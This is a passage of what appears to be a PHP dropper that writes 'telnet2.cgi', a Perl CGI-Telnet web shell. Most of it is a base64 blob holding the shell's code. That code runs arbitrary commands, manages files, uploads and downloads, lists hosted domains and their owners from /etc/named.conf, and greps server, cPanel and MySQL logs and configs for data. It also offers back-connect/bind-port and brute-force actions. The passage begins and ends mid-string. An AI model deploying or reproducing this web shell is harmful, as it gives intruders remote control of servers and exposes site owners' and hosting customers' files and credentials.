9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgIiRmaWxlIjsNCgl9DQoJcmV0dXJuICIwIjsNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgVHJpbVNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOw0KCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJub3RsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCW5leHQ7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkMG1haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb21haW4gKyBVc2VyPC9mb250PjwvaDM+IjsNCglpZiAoJGVycikNCgl7DQoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOw0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAnPHRhYmxlIGlkPSJkb21haW4iPjx0cj48dGg+ZDBtYWluczwvdGg+IDx0aD5Vc2VyPC90aD48L3RyPic7DQoJfQ0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpDQoJew0KCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQ0KCQl7CQ0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBzdHlsZT0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiQxLiciIHRhcmdldD0iX2JsYW5rIj4nLiQxLic8L2E+PC90ZD48dGQ+ICcuJG93bmVyLic8L3RkPjwvdHI+JzsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICc8L3RhYmxlPic7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFZpZXcgTG9nDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0xvZw0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLA0KCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLA0KCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywNCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywNCgkJCScvdmFyL215c3FsLmxvZycsDQoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215c3FsL215LmNuZicsDQoJCQknL2V0Yy9teS5jbmYnLA0KCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC1yICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOw0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImQiKTsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZigkY2htb2QgbmUgMCkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQ0KCQl9DQoJfQ0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsNCglpZigkcmVuYW1lIG5lICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZVcGxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KDQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7DQoNCg==';
file_put_contents('telnet2.cgi', "#!/usr/bin/perl -I/usr/local/bandmin\r\nuse MIME::Base64;\r\n\$Version= \"CGI-Telnet Version 1.4\";\r\n\$EditPersion=\"SecurityBus\";\r\n\r\n\$Password = \"\";\t\t\t# Change this. You will need to enter this\r\n\t\t\t\t# to login.\r\nsub Is_Win(){\r\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\r\n\tif(\$os =~ m/win/i){\r\n\t\treturn 1;\r\n\t}else{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n\$WinNT = &Is_Win();\t\t\t# You need to change the value of this to 1 if\r\n\t\t\t\t\t# you're running this script on a Windows NT\r\n\t\t\t\t\t# machine. If you're running it on Unix, you\r\n\t\t\t\t\t# can leave the value as it is.\r\n\r\n\$NTCmdSep = \"&\";\t\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t\t# in a command line on Windows NT.\r\n\r\n\$UnixCmdSep = \";\";\t\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t\t# in a command line on Unix.\r\n\r\n\$CommandTimeoutDuration = 10;\t\t# Time in seconds after commands will be killed\r\n\t\t\t\t\t# Don't set this to a very large value. This is\r\n\t\t\t\t\t# useful for commands that may hang or that\r\n\t\t\t\t\t# take very long to execute, like \"find /\".\r\n\t\t\t\t\t# This is valid only on Unix servers. It is\r\n\t\t\t\t\t# ignored on NT 